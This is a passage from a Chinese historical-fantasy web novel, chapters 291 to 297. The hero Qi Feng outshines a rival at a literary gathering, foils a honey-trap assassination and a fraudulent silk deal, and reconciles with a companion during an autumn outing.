往年,赵元昊对这种“穷酸文人”的聚会是嗤之以鼻的,觉得有失身份。但今年不同,他听说齐枫也会受邀参加!
这让他看到了一个挽回颜面、甚至当众羞辱齐枫的机会!
在他看来,齐枫不过是运气好,碰巧破了几个案子,真要论起正经的学问诗文,肯定比不上他们这些自幼接受精英教育的世家子弟!
“哼,乡巴佬就是乡巴佬,诗词歌赋、经史子集,那是需要底蕴的!本公子这次就要在文华会上,让所有人看看,谁才是真正的才子!”
赵元昊恶狠狠地想着,立刻开始搜肠刮肚,准备在文华会上大放异彩,把齐枫踩在脚下。
文华会设在府学旁的“文华阁”。
这一日,文华阁内张灯结彩,宾客云集。
本地的官员、士绅、知名学者,以及众多青年学子济济一堂,气氛热烈。赵明德、卢正淳等官员也出席了盛会。
令人意外的是,司天监女官苏晚晴也受邀在列,她依旧是一身官服,清冷自持,坐在女宾席上,格外引人注目。
显然,她博学的名声也已传开。
齐枫在周子陵、徐远的陪同下,姗姗来迟。
他今日穿着一身
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简单的青色直缀,并未刻意打扮,但那份从容的气度,一出现便吸引了不少目光。
许多人主动上前打招呼,态度恭敬,与之前赵元昊散播谣言时的境况已是天壤之别。
赵元昊看到齐枫进来,眼中闪过一丝怨毒,但很快换上虚伪的笑容,带着几个重新聚拢过来的跟班迎了上去。
“哎呀,齐公子,你可算来了!大家可都等着你一展才华呢!”赵元昊故意提高了音量,引得周围人都看了过来。
齐枫淡淡瞥了他一眼:“赵公子客气了,齐某才疏学浅,今日是来向诸位前辈同道学习的。”
“齐公子太谦虚了!”赵元昊的一个跟班阴阳怪气地接口,“谁不知道齐公子是陛下亲口赞许的国之栋梁,古之名臣风范啊!想必学问更是深不可测,待会儿可要让我等开开眼!”
这话看似吹捧,实则是在把齐枫架在火上烤,等着看他出丑。
齐枫岂会听不出这弦外之音,但他只是笑了笑,并未接话。
文华会正式开始。先是府学的教授主持,一番开场白后,便进入了传统的“切磋”环节。
无非是命题作诗、对联、或者就某个经义问题进行辩论。
起初,气氛还算和谐。
一些本地有名的才子相继登场,诗词文章各有千秋,引来阵阵喝彩。
赵元昊也按捺不住,抢着在一轮咏秋的诗作中站了出来,吟诵了一首他精心准备,或者说,是请人捉刀修改的七律。
诗词工整,辞藻华丽,倒也引来一些不明就里的人的掌声。
赵元昊得意洋洋,挑衅地看了齐枫一眼。
齐枫却老神在在地喝着茶,仿佛没看见。
接下来是经义辩论环节,讨论的是《孟子》中“民为贵,社稷次之,君为轻”的观点。
这个话题颇为敏感,不少人都谨慎发言。
赵元昊为了表现自己,又跳了出来,引经据典,大谈忠君爱国,将“君为轻”解释为君主谦逊爱民,实质还是强调君权至上。
第两百九十二章 搬石头砸自己脚
这番言论虽然保守,但符合主流,倒也得到一些官员和保守派学者的点头。
赵元昊更加得意,觉得今天自己稳操胜券了。
就在这时,一直沉默的苏晚晴忽然开口了:“赵公子所言,固然有理。然则,晚晴有一问。若君失其道,暴虐无度,视民如草芥,此时,民为贵当作何解?是继续盲目忠君,还是应以**为先?”
这个问题极为尖锐,直指核心!
现场瞬间安静下来,所有人都看向苏晚晴,又看向赵元昊。
赵元昊顿时卡壳了!他哪想过这种大逆不道的问题?
支支吾吾了半天,脸憋得通红,只能含糊地说:“这个……君父虽有不是,为臣子者亦当委婉劝谏,岂能……岂能妄议……”
这回答苍白无力,明显落了下风。
不少人暗暗摇头,觉得赵元昊果然只是个绣花枕头。
苏晚晴微微蹙眉,显然对赵元昊的回答很不满意。
她的目光转向了齐枫:“齐公子,对此有何高见?”
瞬间,所有人的目光都聚焦到了齐枫身上。
赵元昊也死死盯着齐枫,心中冷笑,他倒要看看齐枫怎么回答这种送命题!
齐枫放下茶杯,缓缓起身,神色平静。
他先是对苏晚晴微微颔首,然后环视众人,朗声道:“苏大人此问,直指根本。齐某以为,孟夫子民贵君轻之说,其精髓在于责任二字。”
他顿了顿,声音清晰而有力:“君主治国,权力来自天授,亦来自民授。其首要责任,在于保境安民,使百姓安居乐业。若君能尽此责,民则自然拥戴,社稷稳固,此乃民贵之体现,亦是君重之基础。”
“然,”齐枫话锋一转,语气变得凝重,“若君失其责,昏聩暴虐,致使民不聊生,社稷动摇。此时,民贵便不再是空谈,而是悬于君主头顶的利剑!水能载舟,亦能覆舟。”
“历史昭昭,夏桀商纣,皆因失德于民而亡。故,真正的忠君,非愚忠,而是忠于社稷,忠于天下苍生!劝谏无效,则天下有识之士,当以苍生为念,此乃君轻之真义,亦是孟夫子留予后人的警世之言!”
这一番论述,既肯定了君主的重要性,又强调了民本思想和君主的责任,更指出了在极端情况下应以天下苍生为重的原则,逻辑严密,立意高远,完全超越了赵元昊那种肤浅的忠君论调!
整个文华阁鸦雀无声!
所有人都被齐枫这番大胆而深刻的见解震撼了!这需要何等的学识和魄力才能说出这样的话?
苏晚晴清冷的眼眸中爆发出惊人的光彩,她看着齐枫,缓缓点头,眼中充满了赞赏:“齐公子高论!晚晴受教了!此言方不负圣贤本意!”
连主位上的赵明德和卢正淳也忍不住抚掌赞叹:“妙!妙啊!齐贤弟此言,方是读书人应有的风骨和见识!”
满堂宾客这才反应过来,顿时爆发出雷鸣般的掌声和喝彩声!看向齐枫的目光充满了敬佩!
赵元昊和他那帮跟班,彻底傻眼了!
他们本想看齐枫出丑,没想到齐枫不仅没出丑,反而一番宏论,赢得了满堂彩,连司天监女官和知府大人都赞不绝口!
相比之下,赵元昊刚才那点表现,简直如同小丑一般!
赵元昊脸色一阵红一阵白,恨不得当场晕过去!
他感觉自己就像个跳梁小丑,费尽心机表演,结果却被齐枫随手碾压得连渣都不剩!
这脸打得,比在望江楼那次更狠!更彻底!
接下来的文华会,几乎成了齐枫一人的舞台。无论是诗词创作,还是经义辨析,他每每发言,皆能切中要害,见解独到,引得众人叹服。
苏晚晴更是多次与他交流,两人相谈甚欢,俨然成了会场最引人注目的焦点。
赵元昊彻底沦为了背景板,无人问津。
他灰溜溜地缩在角落,看着被众星捧月般的齐枫,心中的嫉妒和怨恨如同毒蛇般噬咬着他的心脏。
“齐枫……你给我等着!文的不行,咱们
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来武的!我就不信,你样样都能赢我!”赵元昊眼中闪过一丝狠毒的光芒,一个恶毒的计划在他心中慢慢成形。
他听说齐枫似乎不懂武功,或许,可以从这方面下手……
文华会上的大放异彩,让齐枫在府城文坛和上层社会的声望达到了一个新的高度。
连带着锦绣阁的生意都更加红火,不少文人雅士、官家小姐都以能拥有一件锦绣阁的丝绸为荣,仿佛这样就能沾上几分齐公子的才气。
赵元昊经过文华会的惨败,彻底消停了几日,不知在憋什么坏水。
府城表面上一片风平浪静,但齐枫知道,这不过是暴风雨前的宁静。
苏晚晴与他频繁接触,共同推演星象地气,越发确信血月祭的威胁迫在眉睫,幽冥教的活动迹象也越发隐蔽和频繁。
这日傍晚,齐枫婉拒了周子陵和徐远去酒楼小酌的邀请,独自一人信步走在回锦绣阁的路上。
夕阳余晖将他的影子拉得长长的,街道两旁炊烟袅袅,充满了市井的烟火气。
正当他走过一条相对僻静的巷口时,一阵急促的马蹄声和车轮声由远及近,还夹杂着女子的惊呼声。
只见一辆装饰华美的马车似乎受了惊,拉车的马匹嘶鸣着,不受控制地朝着巷口冲来,车夫在后面拼命拉扯缰绳,却无济于事!
眼看马车就要撞上巷口的石墩,车毁人亡的惨剧即将发生!路边行人纷纷惊呼避让。
就在这千钧一发之际,齐枫眉头微皱,身形看似随意地向前踏出一步,恰好挡在了马车必经之路上。
他并没有硬撼惊马,而是伸出右手,看似轻飘飘地按在了狂奔马匹的脖颈侧面。
说来也怪,那匹狂暴的惊马被齐枫的手一按,仿佛被一股柔和却无法抗拒的力量引导,冲势骤然一缓,发出一声困惑的嘶鸣,前蹄扬起,竟在原地踏了几步,缓缓停了下来!
这一手举重若轻,对力道的精准控制,简直神乎其技!周围的人都看呆了!
第两百九十三章 美人计
车夫吓得脸色惨白,连滚爬爬地下来,对着齐枫千恩万谢:“多谢公子!多谢公子救命之恩!这马不知怎的突然就惊了……”
这时,马车的帘子被一只纤纤玉手掀开,一位女子探出身来。
只见她云鬓微乱,脸色有些苍白,显然也受了惊吓,但依旧难掩其绝色容颜。
她穿着一身淡紫色的流云锦裙,气质温婉柔美,眼波流转间自带一股我见犹怜的风情,与苏晚晴的清冷、南宫玥的明艳截然不同。
“小女子多谢公子出手相救,若非公子,今日恐遭大难。”女子声音软糯,带着惊魂未定的颤音,向着齐枫盈盈一礼。
齐枫目光扫过女子,又瞥了一眼那匹已经安静下来的马匹,眼中闪过一丝不易察觉的玩味。
他拱手还礼:“姑娘不必客气,举手之劳而已。看来姑娘的马车需要检修了,这马似乎受了些刺激。”
女子感激道:“公子大恩,无以为报。不知公子尊姓大名?小女子日后定当登门拜谢。”
“在下齐枫。拜谢就不必了,姑娘安然无恙便好。”齐枫淡然道。
“齐枫?”女子眼中适时地露出惊讶和崇拜之色,“您就是那位文华会上力压群雄、陛下亲口赞许的齐公子?小女子久仰大名,今日得见,果然名不虚传!不仅文采斐然,竟还有如此身手!”
她的崇拜表现得恰到好处,既不显得过分夸张,又充分满足了男人的虚荣心。
若是一般人,被这样一位绝世美人用崇拜的眼神看着,恐怕早已飘飘然。
齐枫却只是笑了笑:“姑娘过奖了。天色不早,姑娘还是尽快回府吧,路上小心。”说完,他便要转身离开。
“齐公子请留步!”女子连忙唤住他,脸上露出一丝恰到好处的羞怯和恳求,“公子,小女子姓柳,名如烟,家父是经营药材生意的,今日是去城外寺庙上香归来。如今马车受损,此地离我家还有些距离,眼看天色将晚,我一个弱女子……心中实在害怕。不知……不知公子可否好人做到底,送小女子一程?”
她这番话合情合理,将一个受惊后柔弱无助的闺阁女子形象演绎得淋漓尽致,让人难以拒绝。
齐枫看着柳如烟那双水汪汪带着祈求的大眼睛,沉吟了片刻,嘴角勾起一抹若有若无的弧度:“既然柳姑娘相求,齐某便送姑娘一程吧。”
柳如烟顿时喜笑颜开,连忙让车夫整理好马车,邀请齐枫上车。齐枫也没推辞,大大方方地坐进了马车。
车厢内空间不大,弥漫着一股淡淡的、甜腻的馨香。
柳如烟坐在齐枫对面,微微低着头,脸颊泛红,似乎有些害羞,不时偷偷抬眼打量齐枫,气氛暧昧。
马车缓缓行驶在渐暗的街道上。
柳如烟开始找话题与齐枫聊天,从诗词歌赋谈到风土人情,她似乎对什么都有些了解,言谈举止温婉得体,很容易让人产生好感。
“齐公子,听说您不仅在文学上造诣深厚,还对星象阵法颇有研究?”柳如烟看似无意地问道,眼中带着好奇。
齐枫心中一动,面上不动声色:“略知皮**而已,比不上司天监的苏大人专业。”
“苏大人确是女中豪杰。”柳如烟笑了笑,话锋一转,“不过,像幽冥教那些装神弄鬼的邪术,想必齐公子一定有办法对付吧?最近城里都在传幽冥教的事,怪吓人的。”
齐枫看了她一眼,淡淡道:“邪不胜正,幽冥教不过是跳梁小丑,迟早会被铲除。”
柳如烟附和道:“公子说得是。有公子这样的能人在,我们这些小百姓也就安心了。”
她说着,身体似乎因为马车的颠簸,微微向齐枫这边倾斜了一些,一股更浓郁的香气袭来。
就在这时,齐枫忽然感觉一丝几乎难以察觉的晕眩感袭来,同时,体内蛰伏的浩然正气微微一荡,将那丝不适瞬间驱散。
迷香?
齐枫眼中寒光一闪而逝,但脸上依
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旧带着温和的笑容,仿佛毫无察觉。
柳如烟见齐枫神色如常,眼中闪过一丝诧异,但很快掩饰过去。
她继续柔声说着话,手指却悄然缩回了袖中。
马车驶入了一条更加偏僻的小路,周围越来越安静。
突然,拉车的马匹再次发出一声惊恐的嘶鸣,猛地人立而起!车厢剧烈摇晃!
“啊!”柳如烟惊呼一声,仿佛受惊过度,整个人向着齐枫怀里倒来!
与此同时,车窗外,数道凌厉的破空之声骤然响起!
几点寒星穿透车帘,直射齐枫周身要害!时机拿捏得恰到好处,正是齐枫看似要伸手去扶柳如烟的瞬间!
这根本就是一个精心设计的杀局!美人计加上暗杀!
眼看齐枫就要被暗器射中,柳如烟嘴角甚至已经勾起了一抹得逞的冷笑!
可下一瞬间,她脸上的笑容凝固了!
齐枫仿佛早已预料到一切,他并没有去扶柳如烟,而是身体以一个不可思议的角度微微一侧,那几枚淬毒的暗器便擦着他的衣角射空,“夺夺”几声钉在了车厢壁上!
同时,齐枫的右手快如闪电,并非伸向柳如烟,而是精准地扣住了她缩在袖中、正准备弹出某种东西的手腕!
“柳姑娘,”齐枫的声音依旧平静,却带着一丝冰冷的嘲讽,“你的戏,演完了吗?”
柳如烟手腕被扣,只觉得一股巨力传来,整条胳膊瞬间酸麻,她花容失色,眼中充满了难以置信:“你……你怎么可能……”
“这点劣质的迷香和蹩脚的暗**法,也想对付我?”齐枫冷笑一声,手上微微用力,柳如烟顿时痛呼出声,袖中一枚小巧的、泛着蓝光的针筒掉落在车厢里。
“是幽冥教派你来的?还是……赵元昊?”齐枫逼视着柳如烟,目光如炬。
柳如烟脸色惨白,咬紧嘴唇,一言不发。
就在这时,车厢外传来几声短促的惨叫,接着是重物倒地的声音。
第两百九十四章 新的乐子
随即,车帘被掀开,苏晚晴那张清冷的面孔出现在外面,她手中握着一把还在滴血的短剑,身后躺着几名黑衣**的尸体。
“齐公子,你没事吧?”苏晚晴看到车厢内的情形,松了口气,但眼神依旧警惕地盯着柳如烟,“我收到线报,说有幽冥教妖人欲对你不利,一路追踪至此。”
齐枫笑了笑,将瘫软的柳如烟推开,走下马车:“多谢苏大人及时援手。我没事,只是没想到,幽冥教为了杀我,连美人计都用上了。”
苏晚晴看了一眼车厢内楚楚可怜的柳如烟,冷哼一声:“幽冥教妖人,惯会利用皮相蛊惑人心。此女身上邪气不轻,应是教中核心成员。”
齐枫点了点头,对赶过来、吓得瑟瑟发抖的车夫道:“把车赶到府衙去吧,这位柳姑娘,需要赵知府好好审问一番。”
处理完现场,齐枫与苏晚晴并肩走在回城的路上。
“看来,幽冥教已经狗急跳墙了。”苏晚晴蹙眉道,“血月祭临近,他们不想有任何变数。”
齐枫望着天边最后一抹晚霞,眼神深邃:“越是如此,越说明我们找对了方向。苏大人,星象推演可有新的进展?”
“有,”苏晚晴点头,“根据最新观测,血月之期,恐怕比我们预计的还要提前几天。而且,祭坛的方位,似乎与城中的水系,特别是几处废弃的泉眼有关。”
“泉眼……”齐枫若有所思,“看来,是时候主动出击了。”
这一次暗杀,非但没有伤到齐枫分毫,反而让他更加确定了方向,并且意外地与苏晚晴的关系拉近了一步。
而那个试图用美人计暗算他的柳如烟,则成了送给赵明德的一份“大礼”。
消息传开,齐枫识破幽冥教美人计、反杀刺客的事迹再次轰动全城。
赵元昊听到消息后,气得砸碎了房间里所有能砸的东西,他本想看齐枫倒霉,结果却又让对方出了大风头!
而很快,柳如烟在府衙大牢中神秘失踪的消息,像一块投入平静湖面的石头,在府城掀起了新的波澜。
据说是里应外合,有人用高超的**放倒了看守,将其救走。
这无疑是对官府权威的赤裸挑衅,也让齐枫意识到,幽冥教在府城的渗透比他想象的更深。
赵明德为此大发雷霆,下令全城搜捕,但柳如烟如同人间蒸发,杳无音信。
而另一边,赵元昊在连续吃瘪后,非但没有收敛,反而更加嫉恨齐枫。
他觉得自己一次次丢脸,全是因为齐枫。
文的不行,武的也不行,这口气他实在咽不下。
于是,他找到了同样对齐枫恨之入骨的袁家子弟,尤其是那个在醉月楼被尸傀抓伤、侥幸捡回一条命却毁了容的袁惊鸿。
两人一拍即合,决定联手给齐枫点颜色看看。
他们不敢再搞刺杀之类的大动作,便把主意打到了齐枫的根基,锦绣阁的生意上。
这日,锦绣阁迎来了一位“贵客”,是江南来的大丝绸商,姓钱,点名要见东家齐枫,声称有一笔天大的生意要谈。
南宫玥接待了他,见其派头十足,言谈间对丝绸极为精通,便不敢怠慢,请来了齐枫。
钱商人见到齐枫,满脸堆笑,拱手道:“齐东家,久仰大名!鄙人钱不多,常年行走江南江北,经销丝绸。听闻贵阁的丝绸品质上乘,特别是新出的流光锦,更是巧夺天工。鄙人想与贵阁签订长期契约,每年采购十万匹流光锦,价格好商量!”
十万匹,这绝对是一笔能让人眼红的巨单!
南宫玥闻言,美眸一亮,若真能谈成,锦绣阁的规模将再上一个台阶。
可齐枫却只是淡淡地看了钱商人一眼,端起茶杯,轻轻吹了吹浮沫,并未立刻回答。
钱商人见状,以为齐枫在待价而沽,连忙补充道:“价格方面,鄙人愿高出市面三成!而且,可以预付三成定金!”这条件可谓极其优厚。
周子陵和徐远陈玉堂在一旁听得都心动了。
齐枫却放下茶杯,微微一笑,
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笑容却有些冷:“钱老板,这单生意,恐怕我接不了。”
“为何?”钱商人一愣,南宫玥也疑惑地看向齐枫。
齐枫目光锐利地看向钱商人:“因为钱老板你,根本就不是真正的丝绸商。你袖口内侧沾着的墨迹,是京城文宝斋特制的松烟墨,寻常商人怎会用这等文人墨?你拇指和食指内侧的茧子,是长期握笔所致,而非拨弄算盘。”
“还有,你身上虽有熏香,却掩盖不住一股淡淡的……药草和硫磺混合的味道,如果我没猜错,你经常出入的地方,是袁家在城西的那处废弃的染坊吧?”
钱商人脸色骤变,额头瞬间冒出冷汗:“齐……齐东家,你……你胡说八道什么!”
齐枫不理他,继续道:“是赵元昊和袁惊鸿让你来的吧?先假意下巨额订单,预付定金取得信任,然后要么在交货时以次充好讹诈,要么干脆找借口毁约,让我锦绣阁声誉受损,资金链断裂。这种上不了台面的手段,未免也太小看我齐枫了。”
钱商人被戳穿底细,吓得魂飞魄散,再也装不下去,噗通一声跪在地上:“齐东家饶命!小的也是被逼的!是赵公子和袁少爷逼我这么做的!定金……定金他们根本就没打算给真的,那是假的银票!”
说着,他哆哆嗦嗦地从怀里掏出一叠银票。
周子陵抢过来一看,果然是最拙劣的假票!
“妈的!这两个王八蛋!”周子陵气得大骂。
南宫玥也是后怕不已,若真签了契约,后果不堪设想。
她看向齐枫的目光,充满了敬佩:“齐郎,多亏了你心细如发……”
齐枫摆了摆手,对那假商人冷声道:“滚回去告诉赵元昊和袁惊鸿,想玩商战,就拿出点真本事,这种下三滥的伎俩,只会让他们更像跳梁小丑。”
假商人连滚爬爬地跑了。
这次事件,再次证明了齐枫的智慧和洞察力,赵元昊和袁惊鸿的阴谋不仅没能得逞,反而又成了府城百姓茶余饭后的笑柄。
第两百九十五章 邀约
傍晚,齐枫正在书房查看各地送来的账目,赵明兰像一阵风似的跑了进来。
“齐枫!齐枫!”她脸上带着兴奋的红晕,手里拿着一个小巧精致的风筝,“你看!这是我亲手做的蝴蝶风筝!漂亮吧?明天天气好,我们去城外放风筝吧!”
自从城郊亭中那暧昧一幕后,赵明兰在面对齐枫时,少了几分刁蛮,多了几分少女的娇羞和大胆。
齐枫看着她充满活力的样子,笑了笑:“明天恐怕不行,我约了苏大人商讨要事。”
赵明兰的小脸顿时垮了下来,嘟着嘴:“又是那个苏晚晴!她有什么好的,整天冷着个脸!齐枫,你是不是喜欢她那样的?”
齐枫失笑:“胡说什么,苏大人是朝廷命官,我们是在处理正事。”
“正事正事!就知道正事!”赵明兰不满地跺了跺脚,眼珠一转,忽然凑近齐枫,压低声音,眨巴了一下水汪汪的大眼睛,狡黠诱惑的说。
“齐枫,我爹书房里有一本关于前朝秘闻的孤本古籍哦……里面说不定有关于幽冥教或者乾朝余孽的线索,你想不想看?”
齐枫心中一动,看向赵明兰。
赵明兰得意地扬着下巴,像只等待夸奖的小猫。
齐枫伸手,轻轻刮了一下她的鼻子:“你呀……好吧,后天,后天陪你去放风筝。”
赵明兰顿时眉开眼笑:“一言为定!”她欢快地跑了出去,像只快乐的蝴蝶。
赵明兰刚走,南宫玥便端着参汤走了进来。
她看到齐枫脸上还未散去的笑意,眼神微暗,但很快便掩饰过去,柔声道:“齐郎,忙了一天了,喝点参汤补补神。刚才明兰妹妹来找你?”
“嗯,这丫头风风火火的。”齐枫接过参汤。
南宫玥犹豫了一下,轻声道:“齐郎,明兰妹妹心思单纯,对你也……但赵家毕竟是官宦世家,你如今又得陛下青睐,有些关系,还是注意些分寸为好。”她这话看似关心,也透着一丝不易察觉的酸意和提醒。
齐枫看了她一眼,点了点头:“我知道分寸,放心吧。”
喝完参汤,南宫玥收拾碗筷离开,临走前那温柔又带着一丝幽怨的眼神,让齐枫不禁揉了揉眉心。
女人多了,有时候也是麻烦。
夜深人静,齐枫鬼使神差地走到了楚清秋所住院落的附近。
院子里静悄悄的,没有灯光。
齐枫站在月洞门外,能闻到空气中若有若无属于她的淡淡冷香。
他知道她就在里面,或许也未曾入睡。
两人之间,那个未出世的孩子,像一道无形的墙,齐枫是觉得没有什么。
可楚清秋不一样。
他站了许久,最终只是轻轻叹了口气,转身离开。
在他转身后,院内的窗后,楚清秋的身影悄然浮现。
她隔着窗户,望着他离去的背影,月光照在她平静无波的脸上,唯有那双紧握窗棂的手指,泄露了她内心并非毫无波澜。
最终,她也只是轻轻叹了口气,握紧的手也松了开来。
连日的阴霾与紧张,如同无形的蛛网,笼罩在锦绣阁的上空,连带着秋日爽朗的空气都似乎变得粘稠起来。
小荷年纪虽小,心思却敏感,她或许听不懂那些高来高去的阴谋算计,但她能清晰地感觉到,阁里的气氛不对了。
尤其是少爷和青禾姐姐之间,那种自然而然的亲近不见了,取而代之的是一种令人窒息的疏远和沉默。
少爷依旧会笑,但那笑意很少再到达眼底,青禾姐姐更是常常独自凭栏,望着远方,那背影单薄得仿佛随时会被风吹走,眉宇间锁着的轻愁,让小荷看着都心疼。
这不行!小荷撅着嘴,在心里下定决心。
少爷是世上顶好顶好的人,青禾姐姐也是顶好顶好的人,他们在一起的时候,连空气都是甜的。
现在这样,肯定是因为有什么误会!她得想办法让他们和好!
机会在一个秋光潋滟的清晨降临。
阳光金灿灿的,透过窗棂洒进来,驱散了不少阴郁。
小荷像只欢快的
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小鹿,噔噔噔跑进齐枫的书房,扯着他的衣袖就不放手:“少爷少爷!你看外面的太阳多好啊!我们出去游玩吧!整天闷在阁里,小荷觉得骨头都要生锈了,您肯定也闷坏了!”
齐枫刚合上一卷账本,揉了揉有些发胀的太阳穴。
窗外明媚的秋景确实诱人,连日来的殚精竭虑也让他感到一丝疲惫。
他看着小荷充满期盼的亮晶晶的眼睛,不忍拒绝,笑着摸了摸她的头:“好啊,难得今日清闲,你想去哪里?”
小荷心中窃喜,眼睛滴溜溜一转,早就打好的腹稿脱口而出:“去落霞坡!我听巷口的王婆婆说,那里的枫叶现在红得像火一样,可好看啦!而且……而且……”
她顿了顿,观察着齐枫的脸色,小心翼翼地说,“青禾姐姐最近好像总是闷闷不乐的,饭也吃得少,我们叫上她一起去散散心好不好?就我们几个,再叫上富贵哥赶车保护我们,肯定没事的!”
她刻意强调了“散心”和“就我们几个”,眼巴巴地望着齐枫,那小模样任谁看了都不忍心拒绝。
齐枫沉默了下来。
小荷的心思,他何尝不明白。
自从发现孩子之后,他与楚清秋之间便如同隔了一道无形且日益厚重的冰墙。
缓和?谈何容易。
不过或许……小荷这笨拙却真诚的尝试,会是一个契机?哪怕只是吹散一丝寒意也好。
他沉吟片刻,终于点了点头,声音温和:“好,依你。你去问问青禾,看她是否愿意同去。”
“耶!少爷最好啦!”小荷欢呼一声,像一阵风似的跑了出去。
找到楚清秋时,她正在后院的小花园里,对着几株略显颓败的秋菊发呆。
阳光勾勒出她纤细的身影,带着一种遗世独立的孤寂。
“青禾姐姐!”小荷跑过去,亲昵地拉住她的手,“今天天气这么好,我们一起去落霞坡玩吧!少爷都答应啦!”
楚清秋回过神来,看着小荷兴奋的小脸,下意识地就想拒绝。
第两百九十六章 珍惜眼前
她现在最需要的是独处和冷静,而不是与齐枫在那种环境下尴尬相对。
“小荷,姐姐还有些账目要整理,你们去吧……”她试图婉拒。
“不要嘛不要嘛!”小荷立刻抱紧了她的胳膊,开始她的“磨人”**,小脑袋在她胳膊上蹭来蹭去。
“账目什么时候都能算,可是这么好的太阳,这么红的枫叶,错过就没有啦!姐姐,你看你最近都不怎么笑,脸色也不好,出去走走,心情就会变好的!小荷求求你啦,一起去嘛!就我们几个,很安静的,好不好嘛?”
她仰起脸,那双纯净得不含一丝杂质的大眼睛里,盛满了真切的担忧和恳求,声音软糯得能融化坚冰。
“小荷不喜欢看姐姐不开心的样子。姐姐不开心,小荷心里也难受。我们就去一会儿,好不好?就当是陪陪小荷……”
看着小荷眼中几乎要溢出来的关心,听着她稚嫩却真挚的话语,楚清秋坚硬的心防,被敲开了一道细微的裂缝。
这小女孩,是这冰冷算计的世界里,为数不多纯粹的温暖。
她不忍心一再拂逆这份好意。
或许……出去走走,看看开阔的天地,真的能让紧绷的神经稍微放松一些?
她深吸一口气,终是败下阵来,轻轻点了点头,唇角勉强牵起一丝极淡的弧度:“好,姐姐陪你去。”
小荷顿时笑逐颜开,仿佛赢得了全世界最大的胜利。
一辆朴素的青幔马车驶出了锦绣阁。
富贵坐在车辕上,沉稳地驾驭着马匹。
车厢内,空间不算宽敞,齐枫和楚清秋分坐两侧,中间隔着一段刻意拉开的距离。
小荷则紧紧挨着楚清秋坐着,一路上小嘴就没停过,指着窗外飞过的鸟儿、路旁吃草的牛羊、远处起伏的山峦,叽叽喳喳地说个不停,努力地想用她的欢声笑语填满这略显沉闷的空间。
“姐姐你看!那只鸟的羽毛好漂亮!”
“少爷少爷!那片云像不像一只大兔子?”
“富贵哥,你赶车稳一点哦,别颠到姐姐!”
楚清秋起初还有些心神不属,但渐渐被小荷的快乐感染,也被窗外的秋色所吸引。
金黄的稻田在阳光下闪烁着丰收的光芒,如火如荼的枫林将山坡染得绚烂夺目,空气里带着草木的清香和果实的甜香。
她紧绷的肩线不知不觉放松了些许,目光追随着掠过的风景,冰封的容颜上也透出了一丝微不可察的柔和。
齐枫偶尔会应和小荷几句,目光却不由自主地落在楚清秋的侧脸上。
秋阳透过车窗,在她细腻的肌肤上镀上一层浅金色的光晕,长长的睫毛垂下,遮住了眼底惯有的清冷与戒备,此刻竟显出几分罕见的脆弱与宁静。
他心中微微一动,一种复杂的情绪悄然蔓延。
到了落霞坡,果然名不虚传。
漫山遍野的枫树如同炽烈的火焰,又似天边流霞坠落人间,美得惊心动魄。
小荷兴奋地“哇”了一声,跳下马车,拉着楚清秋的手就在铺满落叶的山坡上奔跑起来,银铃般的笑声在山谷间回荡。
富贵保持着不远不近的距离,警惕地护卫着。
齐枫缓步跟在后面,看着小荷像只快乐的蝴蝶,围着楚清秋转悠,一会儿采来一束带着露水的野菊花塞到她手里,一会儿又发现一块形状奇特的石头献宝似的递给她看。
楚清秋虽然依旧话不多,但脸上那抹真实浅淡的笑意,却如同破云而出的月光,足以驱散不少阴霾。
几人寻了一处平坦开阔、能俯瞰大片枫林的草地坐下。
小荷献宝似的从带来的小篮子里拿出精心准备的点心、洗好的水果,还有一壶,温热的桂花茶,像个小管家婆一样铺排开来。
就着美景,吃着简单的食物,气氛比来时融洽了许多。山风轻柔,拂动发丝,带来远处枫叶的沙沙声。
小荷啃着一块甜甜的桂花糕,看看坐在左边细心帮她剥着橘子的齐枫,又看看坐在右边安静饮茶的楚
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清秋,忽然放下了糕点,小大人似的重重叹了口气。
那张小脸上堆满了与她年龄不符的忧愁和困惑。
“少爷,青禾姐姐,”她的声音清脆,带着一丝不满和认真,“你们是不是偷偷吵架了呀?小荷觉得你们现在怪怪的。”
这话问得直接而突然,让齐枫和楚清秋的动作都顿住了。
空气仿佛凝滞了一瞬。
小荷却不管不顾,继续说着,语气越来越急切,像要把憋在心里好久的话都倒出来。
“以前不是这样的!以前少爷有空就会给姐姐讲好玩的故事。姐姐也会给少爷泡最好喝的茶,绣最漂亮的帕子。那时候多好啊!”
“可是现在,你们见面都不怎么说话了,就算说话,也客气得让小荷心里发凉。姐姐总是自己一个人待着,少爷也常常皱着眉头。”
她越说越委屈,眼圈都有些红了,伸出小手,一手拉住齐枫的衣角,一手紧紧攥住楚清秋微凉的手指,仰着小脸看着他们,声音带着哽咽。
“小荷不喜欢这样!一点都不喜欢!小荷以前在街上流浪的时候,见过好多人,今天还好好地说笑,明天可能就再也见不到了……王婆婆说,人生无常,要珍惜眼前人。少爷,姐姐,你们都是小荷最重要最重要的人,小荷不想看到你们这样冷冰冰的。”
她吸了吸鼻子,用力地说:“要是少爷不小心惹姐姐生气了,少爷你是男子汉,你就主动跟姐姐道歉嘛,说句软话又不会怎么样!青禾姐姐,少爷他……他其实心里可看重你了。”
“就是有时候像头笨牛,不会说好听的话,可能做了什么惹你难过的事自己都不知道。姐姐你心肠最软了,你就原谅他这一次,好不好?我们像以前一样,开开心心的,不好吗?”
童言稚语,没有华丽的辞藻,却像一把重锤,裹挟着最朴素直白的道理,“人生无常,珍惜眼前”,狠狠地敲击在齐枫和楚清秋的心上。
楚清秋的呼吸骤然一窒。
第两百九十七章 关系缓和
小荷那句“今天还好好地说笑,明天可能就再也见不到了”,确实像一根尖锐的刺,精准地扎进了她内心最恐惧的地方。
她背负着国仇家恨,行走在刀尖之上,还有腹中这个未卜未来的孩子……她确实不知道,明天和意外哪一个会先来。
自己一直沉浸在痛苦、挣扎和对未来的忧虑中,是否也因此错过了本可以拥有的、眼前的温暖和真实?
这个看似懵懂的小丫头,却比活得沉重的她,更懂得活在当下的意义。
齐枫也是心中剧震。
他看着小荷脸上未干的泪痕,小荷说得对,珍惜眼前,才是对抗无常最有力的方式。
他深吸一口气,压下翻涌的心绪,顺着小荷的话,目光真诚地看向楚清秋。
“小荷说得对。是少爷不好,最近……被太多事情牵绊,忽略了许多本该珍惜的人和事。”
楚清秋感受到他目光中的真诚和那隐含的歉意,心头像是被什么东西猛地撞了一下,酸涩难言。
她下意识地想要避开他那过于直接的目光,但这一次,那冰封的意志却没有立刻驱使她竖起尖刺。
小荷的话语,如同春风,悄悄融化着坚冰。
她垂下眼睑,长长的睫毛颤抖着,沉默了片刻,才用低得几乎听不见的声音,轻轻说道,更像是对小荷的安抚:“小荷乖,姐姐……没有生气。”
